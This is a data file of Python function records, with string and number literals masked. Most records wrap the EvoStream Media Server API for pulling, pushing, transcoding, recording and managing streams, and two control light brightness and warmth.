{"signature": "def brightness(level=<NUM_LIT:100>, group=<NUM_LIT:0>):", "body": "if level not in range(<NUM_LIT:0>,<NUM_LIT>):<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>b = int(floor(level / <NUM_LIT>)) <EOL>commands = list(darkest(group))<EOL>for i in range(<NUM_LIT:0>, b):<EOL><INDENT>commands.append(COMMANDS['<STR_LIT>'])<EOL><DEDENT>return tuple(commands)<EOL>", "docstring": "Assumes level is out of 100", "id": "f4972:m6"}
{"signature": "def warmness(level=<NUM_LIT:100>, group=<NUM_LIT:0>):", "body": "if level not in range(<NUM_LIT:0>,<NUM_LIT>):<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>b = int(floor(level / <NUM_LIT>)) <EOL>commands = list(coolest(group))<EOL>for i in range(<NUM_LIT:0>, b):<EOL><INDENT>commands.append(COMMANDS['<STR_LIT>'])<EOL><DEDENT>return tuple(commands)<EOL>", "docstring": "Assumes level is out of 100", "id": "f4972:m7"}
{"signature": "@expected('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL><INDENT>def pull_stream(self, uri, **kwargs):<DEDENT>", "body": "return self.protocol.execute('<STR_LIT>', uri=uri, **kwargs)<EOL>", "docstring": "This will try to pull in a stream from an external source. Once a\nstream has been successfully pulled it is assigned a 'local stream\nname' which can be used to access the stream from the EMS.\n\n:param uri: The URI of the external stream. Can be RTMP, RTSP or\n    unicast/multicast (d) mpegts\n:type uri: str\n\n:param keepAlive: If keepAlive is set to 1, the server will attempt to\n    reestablish connection with a stream source after a connection has\n    been lost. The reconnect will be attempted once every second\n    (default: 1 true)\n:type keepAlive: int\n\n:param localStreamName: If provided, the stream will be given this\n    name. Otherwise, a fallback techniques used to determine the stream\n    name (based on the URI)\n:type localStreamName: str\n\n:param forceTcp: If 1 and if the stream is RTSP, a TCP connection will\n    be forced. Otherwise the transport mechanism will be negotiated\n    (UDP or TCP) (default: 1 true)\n:type forceTcp: int\n\n:param tcUrl: When specified, this value will be used to set the TC URL\n    in the initial RTMP connect invoke\n:type tcUrl: str\n\n:param pageUrl: When specified, this value will be used to set the\n    originating web page address in the initial RTMP connect invoke\n:type pageUrl: str\n\n:param swfUrl: When specified, this value will be used to set the\n    originating swf URL in the initial RTMP connect invoke\n:type swfUrl: str\n\n:param rangeStart: For RTSP and RTMP connections. A value from which\n    the playback should start expressed in seconds. There are 2 special\n    values: -2 and -1. For more information, please read about\n    start/len parameters here:\n    http://livedocs.adobe.com/flashmediaserver/3.0/hpdocs/help.html?content=00000185.html\n:type rangeStart: int\n\n:param rangeEnd: The length in seconds for the playback. -1 is a\n    special value. For more information, please read about start/len\n    parameters here:\n    http://livedocs.adobe.com/flashmediaserver/3.0/hpdocs/help.html?content=00000185.html\n:type rangeEnd: int\n\n:param ttl: Sets the IP_TTL (time to live) option on the socket\n:type ttl: int\n\n:param tos: Sets the IP_TOS (Type of Service) option on the socket\n:type tos: int\n\n:param rtcpDetectionInterval: How much time (in seconds) should the\n    server wait for RTCP packets before declaring the RTSP stream as a\n    RTCP-less stream\n:type rtcpDetectionInterval: int\n\n:param emulateUserAgent: When specified, this value will be used as the\n    user agent string. It is meaningful only for RTMP\n:type emulateUserAgent: str\n\n:param isAudio: If 1 and if the stream is RTP, it indicates that the\n    currently pulled stream is an audio source. Otherwise the pulled\n    source is assumed as a video source\n:type isAudio: int\n\n:param audioCodecBytes: The audio codec setup of this RTP stream if it\n    is audio. Represented as hex format without '0x' or 'h'. For\n    example: audioCodecBytes=1190\n:type audioCodecBytes: str\n\n:param spsBytes: The video SPS bytes of this RTP stream if it is video.\n    It should be base 64 encoded.\n:type spsBytes: str\n\n:param ppsBytes: The video PPS bytes of this RTP stream if it is video.\n    It should be base 64 encoded\n:type ppsBytes: str\n\n:param ssmIp: The source IP from source-specific-multicast. Only usable\n    when doing UDP based pull\n:type ssmIp: str\n\n:param httpProxy: This parameter has two valid values: IP:Port - This\n    value combination specifies an RTSP HTTP Proxy from which the RTSP\n    stream should be pulled from Self - Specifying \"self\" as the value\n    implies pulling RTSP over HTTP\n:type httpProxy: str\n\n:link: http://docs.evostream.com/ems_api_definition/pullstream", "id": "f4976:c0:m1"}
{"signature": "@expected('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>')<EOL><INDENT>def push_stream(self, uri, **kwargs):<DEDENT>", "body": "return self.protocol.execute('<STR_LIT>', uri=uri, **kwargs)<EOL>", "docstring": "Try to push a local stream to an external destination. The pushed\nstream can only use the RTMP, RTSP or MPEG-TS unicast/multicast\nprotocol.\n\n:param uri: The URI of the external stream. Can be RTMP, RTSP or\n    unicast/multicast (d) mpegts\n:type uri: str\n\n:param keepAlive: If keepAlive is set to 1, the server will attempt to\n    reestablish connection with a stream source after a connection has\n    been lost. The reconnect will be attempted once every second\n    (default: 1 true)\n:type keepAlive: int\n\n:param localStreamName: If provided, the stream will be given this\n    name. Otherwise, a fallback techniques used to determine the stream\n    name (based on the URI)\n:type localStreamName: str\n\n:param targetStreamName: The name of the stream at destination. If not\n    provided, the target stream name willbe the same as the local\n    stream name\n:type targetStreamName: str\n\n:param targetStreamType: It can be one of following: **live**,\n    **record**, **append**. It is meaningful only for RTMP\n:type targetStreamType: str\n\n:param tcUrl: When specified, this value will be used to set the TC\n    URL in the initial RTMP connect invoke\n:type tcUrl: str\n\n:param pageUrl: When specified, this value will be used to set the\n    originating web page address in the initial RTMP connect invoke\n:type pageUrl: str\n\n:param swfUrl: When specified, this value will be used to set the\n    originating swf URL in the initial RTMP connect invoke\n:type swfUrl: str\n\n:param ttl: Sets the IP_TTL (time to live) option on the socket\n:type ttl: int\n\n:param tos: Sets the IP_TOS (Type of Service) option on the socket\n:type tos: int\n\n:param emulateUserAgent: When specified, this value will be used as the\n    user agent string. It is meaningful only for RTMP\n:type emulateUserAgent: str\n\n:param rtmpAbsoluteTimestamps: Forces the timestamps to be absolute\n    when using RTMP.\n:type rtmpAbsoluteTimestamps: int\n\n:param sendChunkSizeRequest: Sets whether the RTMP stream will or will\n    not send a \"Set Chunk Length\" message. This is significant when\n    pushing to Akamai's new RTMP HD ingest point where this parameter\n    should be set to 0 so that Akamai will not drop the connection.\n:type sendChunkSizeRequest: int\n\n:param useSourcePts: When value is true, timestamps on source inbound\n    RTMP stream are passed directly to the outbound (pushed) RTMP\n    streams. This affects only pushed Outbound Net RTMP with net RTMP\n    source. This parameter overrides the value of the config.lua\n    option of the same name.\n:type useSourcePts: int\n\n:link: http://docs.evostream.com/ems_api_definition/pushstream", "id": "f4976:c0:m2"}
{"signature": "@expected('<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>')<EOL><INDENT>def create_hls_stream(self, localStreamNames, targetFolder, **kwargs):<DEDENT>", "body": "return self.protocol.execute('<STR_LIT>',<EOL>localStreamNames=localStreamNames,<EOL>targetFolder=targetFolder, **kwargs)<EOL>", "docstring": "Create an HTTP Live Stream (HLS) out of an existing H.264/AAC stream.\nHLS is used to stream live feeds to iOS devices such as iPhones and\niPads.\n\n:param localStreamNames: The stream(s) that will be used as the input.\n    This is a comma-delimited list of active stream names (local stream\n    names).\n:type localStreamNames: str\n\n:param targetFolder: The folder where all the .ts/.m3u8 files will be\n    stored. This folder must be accessible by the HLS clients. It is\n    usually in the web-root of the server.\n:type targetFolder: str\n\n:param keepAlive: If true, the EMS will attempt to reconnect to the\n    stream source if the connection is severed.\n:type keepAlive: int\n\n:param overwriteDestination: If true, it will force overwrite of\n    destination files.\n:type overwriteDestination: int\n\n:param staleRetentionCount: The number of old files kept besides the\n    ones listed in the current version of the playlist. Only\n    applicable for rolling playlists.\n:type staleRetentionCount: int\n\n:param createMasterPlaylist: If true, a master playlist will be\n    created.\n:type createMasterPlaylist: int\n\n:param cleanupDestination: If true, all *.ts and *.m3u8 files in the\n    target folder will be removed before HLS creation is started.\n:type cleanupDestination: int\n\n:param bandwidths: The corresponding bandwidths for each stream listed\n    in localStreamNames. Again, this can be a comma-delimited list.\n:type bandwidths: int\n\n:param groupName: The name assigned to the HLS stream or group. If the\n    localStreamNames parameter contains only one entry and groupName\n    is not specified, groupName will have the value of the input\n    stream name.\n:type groupName: str\n\n:param playlistType: Either appending or rolling.\n:type playlistType: str\n\n:param playlistLength: The length (number of elements) of the playlist.\n    Used only when playlistType is rolling. Ignored otherwise.\n:type playlistLength: int\n\n:param playlistName: The file name of the playlist (*.m3u8).\n:type playlistName: str\n\n:param chunkLength: The length (in seconds) of each playlist element\n    (*.ts file). Minimum value is 1 (second).\n:type chunkLength: int\n\n:param maxChunkLength: Maximum length (in seconds) the EMS will allow\n    any single chunk to be. This is primarily in the case of\n    chunkOnIDR=true where the EMS will wait for the next key-frame. If\n    the maxChunkLength is less than chunkLength, the parameter shall\n    be ignored.\n:type maxChunkLength: int\n\n:param chunkBaseName: The base name used to generate the *.ts chunks.\n:type chunkBaseName: str\n\n:param chunkOnIDR: If true, chunking is performed ONLY on IDR.\n    Otherwise, chunking is performed whenever chunk length is\n    achieved.\n:type chunkOnIDR: int\n\n:param drmType: Type of DRM encryption to use. Options are: none\n    (no encryption), evo (AES Encryption), SAMPLE-AES (Sample-AES),\n    verimatrix (Verimatrix DRM). For Verimatrix DRM, the \"drm\" section\n    of the config.lua file must be active and properly configured.\n:type drmType: str\n\n:param AESKeyCount: Number of keys that will be automatically generated\n    and rotated over while encrypting this HLS stream.\n:type AESKeyCount: int\n\n:param audioOnly: If true, stream will be audio only.\n:type audioOnly: int\n\n:param hlsResume: If true, HLS will resume in appending segments to\n    previously created child playlist even in cases of EMS shutdown or\n    cut off stream source.\n:type hlsResume: int\n\n:param cleanupOnClose: If true, corresponding hls files to a stream\n    will be deleted if the said stream is removed or shut down or\n    disconnected.\n:type cleanupOnClose: int\n\n:param useByteRange: If true, will use the EXT-X-BYTERANGE feature of\n    HLS (version 4 and up).\n:type useByteRange: int\n\n:param fileLength: When using useByteRange=1, this parameter needs to\n    be set too. This will be the size of file before chunking it to\n    another file, this replace the chunkLength in case of\n    EXT-X-BYTERANGE, since chunkLength will be the byte range chunk.\n:type fileLength: int\n\n:param useSystemTime: If true, uses UTC in playlist time stamp\n    otherwise will use the local server time.\n:type useSystemTime: int\n\n:param offsetTime:\n:type offsetTime: int\n\n:param startOffset: A parameter valid only for HLS v.6 onwards. This\n    will indicate the start offset time (in seconds) for the playback\n    of the playlist.\n:type startOffset: int\n\n:link: http://docs.evostream.com/ems_api_definition/createhlsstream", "id": "f4976:c0:m3"}
{"signature": "@expected('<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>')<EOL><INDENT>def create_hds_stream(self, localStreamNames, targetFolder, **kwargs):<DEDENT>", "body": "return self.protocol.execute('<STR_LIT>',<EOL>localStreamNames=localStreamNames,<EOL>targetFolder=targetFolder, **kwargs)<EOL>", "docstring": "Create an HDS (HTTP Dynamic Streaming) stream out of an existing\nH.264/AAC stream. HDS is used to stream standard MP4 media over\nregular HTTP connections.\n\n:param localStreamNames: The stream(s) that will be used as the input.\n    This is a comma-delimited list of active stream names (local stream\n    names).\n:type localStreamNames: str\n\n:param targetFolder: The folder where all the manifest (*.f4m) and\n    fragment (f4v*) files will be stored. This folder must be\n    accessible by the HDS clients. It is usually in the web-root of\n    the server.\n:type targetFolder: str\n\n:param bandwidths: The corresponding bandwidths for each stream listed\n    in localStreamNames. Again, this can be a comma-delimited list.\n:type bandwidths: int\n\n:param chunkBaseName: The base name used to generate the fragments.\n:type chunkBaseName: str\n\n:param chunkLength: The length (in seconds) of fragments to be made.\n    Minimum value is 1 (second).\n:type chunkLength: int\n\n:param chunkOnIDR: If true, chunking is performed ONLY on IDR.\n    Otherwise, chunking is performed whenever chunk length is\n    achieved.\n:type chunkOnIDR: int\n\n:param groupName: The name assigned to the HDS stream or group. If the\n    localStreamNames parameter contains only one entry and groupName\n    is not specified, groupName will have the value of the input\n    stream name.\n:type groupName: str\n\n:param keepAlive: If true, the EMS will attempt to reconnect to the\n    stream source if the connection is severed.\n:type keepAlive: int\n\n:param manifestName: The manifest file name.\n:type manifestName: str\n\n:param overwriteDestination: If true, it will allow overwrite of\n    destination files.\n:type overwriteDestination: int\n\n:param playlistType: Either appending or rolling.\n:type playlistType: str\n\n:param playlistLength: The number of fragments before the server\n    starts to overwrite the older fragments. Used only when\n    playlistType is \"rolling\". Ignored otherwise.\n:type playlistLength: int\n\n:param staleRetentionCount: The number of old files kept besides the\n    ones listed in the current version of the playlist. Only\n    applicable for rolling playlists.\n:type staleRetentionCount: int\n\n:param createMasterPlaylist: If true, a master playlist will be\n    created.\n:type createMasterPlaylist: int\n\n:param cleanupDestination: If true, all manifest and fragment files in\n    the target folder will be removed before HDS creation is started.\n:type cleanupDestination: int\n\n:link: http://docs.evostream.com/ems_api_definition/createhdsstream", "id": "f4976:c0:m4"}
{"signature": "@expected('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL><INDENT>def create_mss_stream(self, localStreamNames, targetFolder, **kwargs):<DEDENT>", "body": "return self.protocol.execute('<STR_LIT>',<EOL>localStreamNames=localStreamNames,<EOL>targetFolder=targetFolder, **kwargs)<EOL>", "docstring": "Create a Microsoft Smooth Stream (MSS) out of an existing H.264/AAC\nstream. Smooth Streaming was developed by Microsoft to compete with\nother adaptive streaming technologies.\n\n:param localStreamNames: The stream(s) that will be used as the input.\n    This is a comma-delimited list of active stream names (local\n    stream names)\n:type localStreamNames: str\n\n:param targetFolder: The folder where all the manifest and fragment\n    files will be stored. This folder must be accessible by the MSS\n    clients. It is usually in the web-root of the server.\n:type targetFolder: str\n\n:param bandwidths: The corresponding bandwidths for each stream listed\n    in `localStreamNames`. Again, this can be a comma-delimited list.\n:type bandwidths: int or str\n\n:param groupName: The name assigned to the MSS stream or group. If the\n    `localStreamNames` parameter contains only one entry and groupName\n    is not specified, groupName will have the value of the input\n    stream name.\n:type groupName: str\n\n:param playlistType: Either `appending` or `rolling`\n:type playlistType: str\n\n:param playlistLength: The number of fragments before the server\n    starts to overwrite the older fragments. Used only when\n    `playlistType` is `rolling`. Ignored otherwise.\n:type playlistLength: int\n\n:param manifestName: The manifest file name.\n:type manifestName: str\n\n:param chunkLength: The length (in seconds) of fragments to be made.\n:type chunkLength: int\n\n:param chunkOnIDR: If 1 (true), chunking is performed ONLY on IDR.\n    Otherwise, chunking is performed whenever chunk length is\n    achieved.\n:type chunkOnIDR: int\n\n:param keepAlive: If 1 (true), the EMS will attempt to reconnect to\n    the stream source if the connection is severed.\n:type keepAlive: int\n\n:param overwriteDestination: If 1 (true), it will allow overwrite of\n    destination files.\n:type overwriteDestination: int\n\n:param staleRetentionCount: How many old files are kept besides the\n    ones present in the current version of the playlist. Only\n    applicable for rolling playlists.\n:type staleRetentionCount: int\n\n:param cleanupDestination: If 1 (true), all manifest and fragment\n    files in the target folder will be removed before MSS creation is\n    started.\n:type cleanupDestination: int\n\n:param ismType: Either ismc for serving content to client or isml for\n    serving content to smooth server.\n:type ismType: int\n\n:param isLive: If true, creates a live MSS stream, otherwise set to 0\n    for VOD.\n:type isLive: int\n\n:param publishingPoint: This parameter is needed when `ismType=isml`,\n    it is the REST URI where the mss contents will be ingested.\n:type publishingPoint: str\n\n:param ingestMode: Either `single` for a non looping ingest or `loop`\n    for looping an ingest.\n:type ingestMode: str\n\n:link: http://docs.evostream.com/ems_api_definition/createmssstream", "id": "f4976:c0:m5"}
{"signature": "@expected('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL><INDENT>def create_dash_stream(self, localStreamNames, targetFolder, **kwargs):<DEDENT>", "body": "return self.protocol.execute('<STR_LIT>',<EOL>localStreamNames=localStreamNames,<EOL>targetFolder=targetFolder, **kwargs)<EOL>", "docstring": "Create Dynamic Adaptive Streaming over HTTP (DASH) out of an existing\nH.264/AAC stream. DASH was developed by the Moving Picture Experts\nGroup (MPEG) to establish a standard for HTTP adaptive-bitrate\nstreaming that would be accepted by multiple vendors and facilitate\ninteroperability.\n\n:param localStreamNames: The stream(s) that will be used as the\n    input. This is a comma-delimited list of active stream names\n    (local stream names).\n:type localStreamNames: str\n\n:param targetFolder: The folder where all the manifest and fragment\n    files will be stored. This folder must be accessible by the DASH\n    clients. It is usually in the web-root of the server.\n:type targetFolder: str\n\n:param bandwidths: The corresponding bandwidths for each stream listed\n    in `localStreamNames`. Again, this can be a comma-delimited list.\n:type bandwidths: int or str\n\n:param groupName: The name assigned to the DASH stream or group. If\n    the `localStreamNames` parameter contains only one entry and\n    `groupName` is not specified, `groupName` will have the value of\n    the input stream name.\n:type groupName: str\n\n:param playlistType: Either `appending` or `rolling`.\n:type playlistType: str\n\n:param playlistLength: The number of fragments before the server\n    starts to overwrite the older fragments. Used only when\n    `playlistType` is `rolling`. Ignored otherwise.\n:type playlistLength: int\n\n:param manifestName: The manifest file name.\n:type manifestName: str\n\n:param chunkLength: The length (in seconds) of fragments to be made.\n:type chunkLength: int\n\n:param chunkOnIDR: If true, chunking is performed ONLY on IDR.\n    Otherwise, chunking is performed whenever chunk length is\n    achieved.\n:type chunkOnIDR: int\n\n:param keepAlive: If true, the EMS will attempt to reconnect to the\n    stream source if the connection is severed.\n:type keepAlive: int\n\n:param overwriteDestination: If true, it will allow overwrite of\n    destination files.\n:type overwriteDestination: int\n\n:param staleRetentionCount: How many old files are kept besides the\n    ones present in the current version of the playlist. Only\n    applicable for rolling playlists.\n:type staleRetentionCount: int\n\n:param cleanupDestination: If true, all manifest and fragment files in\n    the target folder will be removed before DASH creation is started.\n:type cleanupDestination: int\n\n:param dynamicProfile: Set this parameter to 1 (default) for a live\n    DASH, otherwise set it to 0 for a VOD.\n:type dynamicProfile: int\n\n:link: http://docs.evostream.com/ems_api_definition/createdashstream", "id": "f4976:c0:m6"}
{"signature": "@expected('<STR_LIT>', '<STR_LIT>', '<STR_LIT:type>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>')<EOL><INDENT>def record(self, localStreamName, pathToFile, **kwargs):<DEDENT>", "body": "return self.protocol.execute('<STR_LIT>',<EOL>localStreamName=localStreamName,<EOL>pathToFile=pathToFile, **kwargs)<EOL>", "docstring": "Records any inbound stream. The record command allows users to record\na stream that may not yet exist. When a new stream is brought into\nthe server, it is checked against a list of streams to be recorded.\n\nStreams can be recorded as FLV files, MPEG-TS files or as MP4 files.\n\n:param localStreamName: The name of the stream to be used as input\n    for recording.\n:type localStreamName: str\n\n:param pathToFile: Specify path and file name to write to.\n:type pathToFile: str\n\n:param type: `ts`, `mp4` or `flv`\n:type type: str\n\n:param overwrite: If false, when a file already exists for the stream\n    name, a new file will be created with the next appropriate number\n    appended. If 1 (true), files with the same name will be\n    overwritten.\n:type overwrite: int\n\n:param keepAlive: If 1 (true), the server will restart recording every\n    time the stream becomes available again.\n:type keepAlive: int\n\n:param chunkLength: If non-zero the record command will start a new\n    recording file after ChunkLength seconds have elapsed.\n:type chunkLength: int\n\n:param waitForIDR: This is used if the recording is being chunked.\n    When true, new files will only be created on IDR boundaries.\n:type waitForIDR: int\n\n:param winQtCompat: Mandates 32bit header fields to ensure\n    compatibility with Windows QuickTime.\n:type winQtCompat: int\n\n:param dateFolderStructure: If set to 1 (true), folders will be\n    created with names in `YYYYMMDD` format. Recorded files will be\n    placed inside these folders based on the date they were created.\n:type dateFolderStructure: int\n\n:link: http://docs.evostream.com/ems_api_definition/record", "id": "f4976:c0:m7"}
{"signature": "@expected('<STR_LIT:source>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>')<EOL><INDENT>def transcode(self, source, destinations, **kwargs):<DEDENT>", "body": "return self.protocol.execute('<STR_LIT>', source=source,<EOL>destinations=destinations, **kwargs)<EOL>", "docstring": "Changes the compression characteristics of an audio and/or video\nstream. Allows you to change the resolution of a source stream, change\nthe bitrate of a stream, change a VP8 or MPEG2 stream into H.264 and\nmuch more. Allow users to create overlays on the final stream as well\nas crop streams.\n\n:param source: Can be a URI or a local stream name from EMS.\n:type source: str\n\n:param destinations: The target URI(s) or stream name(s) of the\n    transcoded stream. If only a name is given, it will be pushed\n    back to the EMS.\n:type destinations: str\n\n:param targetStreamNames: The name of the stream(s) at destination(s).\n    If not specified, and a full URI is provided to destinations,\n    name will have a time stamped value.\n:type targetStreamNames: str\n\n:param groupName: The group name assigned to this process. If not\n    specified, groupName will have a random value.\n:type groupName: str\n\n:param videoBitrates: Target output video bitrate(s) (in bits/s,\n    append `k` to value for kbits/s). Accepts the value `copy` to\n    copy the input bitrate. An empty value passed would mean no video.\n:type videoBitrates: str\n\n:param videoSizes: Target output video size(s) in wxh (width x height)\n    format. IE: 240x480.\n:type videoSizes: str\n\n:param videoAdvancedParamsProfiles: Name of video profile template\n    that will be used.\n:type videoAdvancedParamsProfiles: str\n\n:param audioBitrates: Target output audio bitrate(s) (in bits/s,\n    append `k` to value for kbits/s). Accepts the value `copy` to\n    copy the input bitrate. An empty value passed would mean no audio.\n:type audioBitrates: str\n\n:param audioChannelsCounts: Target output audio channel(s) count(s).\n    Valid values are 1 (mono), 2 (stereo), and so on. Actual supported\n    channel count is dependent on the number of input audio channels.\n:type audioChannelsCounts: str\n\n:param audioFrequencies: Target output audio frequency(ies) (in Hz,\n    append `k` to value for kHz).\n:type audioFrequencies: str\n\n:param audioAdvancedParamsProfiles: Name of audio profile template\n    that will be used.\n:type audioAdvancedParamsProfiles: str\n\n:param overlays: Location of the overlay source(s) to be used. These\n    are transparent images (normally in PNG format) that have the same\n    or smaller size than the video. Image is placed at the top-left\n    position of the video.\n:type overlays: str\n\n:param croppings: Target video cropping position(s) and size(s) in\n    `left : top : width : height` format (e.g. 0:0:200:100. Positions\n    are optional (200:100 for a centered cropping of 200 width and 100\n    height in pixels). Values are limited to the actual size of the\n    video.\n:type croppings: str\n\n:param keepAlive: If keepAlive is set to 1, the server will restart\n    transcoding if it was previously activated.\n:type keepAlive: int\n\n:param commandFlags: Other commands to the transcode process that are\n    not supported by the baseline transcode command.\n:type commandFlags: str\n\n:link: http://docs.evostream.com/ems_api_definition/transcode", "id": "f4976:c0:m8"}
{"signature": "def list_streams_ids(self):", "body": "return self.protocol.execute('<STR_LIT>')<EOL>", "docstring": "Get a list of IDs for every active stream.\n\n:link: http://docs.evostream.com/ems_api_definition/liststreamsids", "id": "f4976:c0:m9"}
{"signature": "@expected('<STR_LIT:id>', '<STR_LIT>')<EOL><INDENT>def get_stream_info(self, **kwargs):<DEDENT>", "body": "return self.protocol.execute('<STR_LIT>', **kwargs)<EOL>", "docstring": "Returns a detailed set of information about a stream.\n\n:param id: The uniqueId of the stream. Usually a value returned by\n    listStreamsIDs. This parameter is not mandatory but either this or\n    the localStreamName should be present to identify the particular\n    stream\n:type id: int\n\n:param localStreamName: The name of the stream. This parameter is not\n    mandatory but either this or the id should be present to identify\n    the particular stream\n:type localStreamName: str\n\n:link: http://docs.evostream.com/ems_api_definition/getstreaminfo", "id": "f4976:c0:m10"}
{"signature": "@expected('<STR_LIT>')<EOL><INDENT>def list_streams(self, **kwargs):<DEDENT>", "body": "return self.protocol.execute('<STR_LIT>', **kwargs)<EOL>", "docstring": "Provides a detailed description of all active streams.\n\n:param disableInternalStreams: If this is 1 (true), internal streams\n    (origin-edge related) are filtered out from the list\n:type disableInternalStreams: int\n\n:link: http://docs.evostream.com/ems_api_definition/liststreams", "id": "f4976:c0:m11"}
{"signature": "def get_streams_count(self):", "body": "return self.protocol.execute('<STR_LIT>')<EOL>", "docstring": "Returns the number of active streams.\n\n:link: http://docs.evostream.com/ems_api_definition/getstreamscount", "id": "f4976:c0:m12"}
{"signature": "@expected('<STR_LIT:id>', '<STR_LIT>', '<STR_LIT>')<EOL><INDENT>def shutdown_stream(self, **kwargs):<DEDENT>", "body": "return self.protocol.execute('<STR_LIT>', **kwargs)<EOL>", "docstring": "Terminates a specific stream. When permanently=1 is used, this command\nis analogous to removeConfig.\n\n:param id: The uniqueId of the stream that needs to be terminated. The\n    stream ID's can be obtained using the listStreams command. This\n    parameter is not mandatory but either this or localStreamName\n    should be present to identify the particular stream\n:type id: int\n\n:param localStreamName: The name of the inbound stream which you wish\n    to terminate. This will also terminate any outbound streams that\n    are dependent upon this input stream. This parameter is not\n    mandatory but either this or the id should be present to identify\n    the particular stream\n:type localStreamName: str\n\n:param permanently: If true, the corresponding push/pull configuration\n    will also be terminated. Therefore, the stream will NOT be\n    reconnected when the server restarts\n:type permanently: int\n\n:link: http://docs.evostream.com/ems_api_definition/shutdownstream", "id": "f4976:c0:m13"}
{"signature": "def list_config(self):", "body": "return self.protocol.execute('<STR_LIT>')<EOL>", "docstring": "Returns a list with all push/pull configurations.\n\nWhenever the pullStream or pushStream interfaces are called, a record\ncontaining the details of the pull or push is created in the\npullpushconfig.xml file. Then, the next time the EMS is started, the\npullpushconfig.xml file is read, and the EMS attempts to reconnect all\nof the previous pulled or pushed streams.\n\n:link: http://docs.evostream.com/ems_api_definition/listconfig", "id": "f4976:c0:m14"}
{"signature": "@expected('<STR_LIT:id>', '<STR_LIT>', '<STR_LIT>')<EOL><INDENT>def remove_config(self, **kwargs):<DEDENT>", "body": "return self.protocol.execute('<STR_LIT>', **kwargs)<EOL>", "docstring": "This command will both stop the stream and remove the corresponding\nconfiguration entry. This command is the same as performing\nshutdownStream permanently=1.\n\n:param id: The configId of the configuration that needs to be removed.\n    ConfigId's can be obtained from the listConfig interface.\n    Removing an inbound stream will also automatically remove all\n    associated outbound streams.\n:type id: int\n\n:param groupName: The name of the group that needs to be removed\n    (applicable to HLS, HDS and external processes). Mandatory only if\n    the id parameter is not specified.\n:type groupName: str\n\n:param removeHlsHdsFiles: If 1 (true) and the stream is HLS or HDS, the\n    folder associated with it will be removed\n:type removeHlsHdsFiles: int\n\n:link: http://docs.evostream.com/ems_api_definition/removeconfig", "id": "f4976:c0:m15"}
{"signature": "@expected('<STR_LIT:id>', )<EOL><INDENT>def get_config_info(self, id):<DEDENT>", "body": "return self.protocol.execute('<STR_LIT>', id=id)<EOL>", "docstring": "Returns the information of the stream by the configId.\n\n:param id: The configId of the configuration to get some information\n:type id: int\n\n:link: http://docs.evostream.com/ems_api_definition/getconfiginfo", "id": "f4976:c0:m16"}
{"signature": "@expected('<STR_LIT:id>', '<STR_LIT>')<EOL><INDENT>def is_stream_running(self, **kwargs):<DEDENT>", "body": "return self.protocol.execute('<STR_LIT>', **kwargs)<EOL>", "docstring": "Checks a specific stream if it is running or not.\n\n:param id: The unique id of the stream to check.\n:type id: int\n\n:param localStreamName: The name of the stream to check.\n:type localStreamName: str\n\n:link: http://docs.evostream.com/ems_api_definition/isstreamrunning", "id": "f4976:c0:m17"}
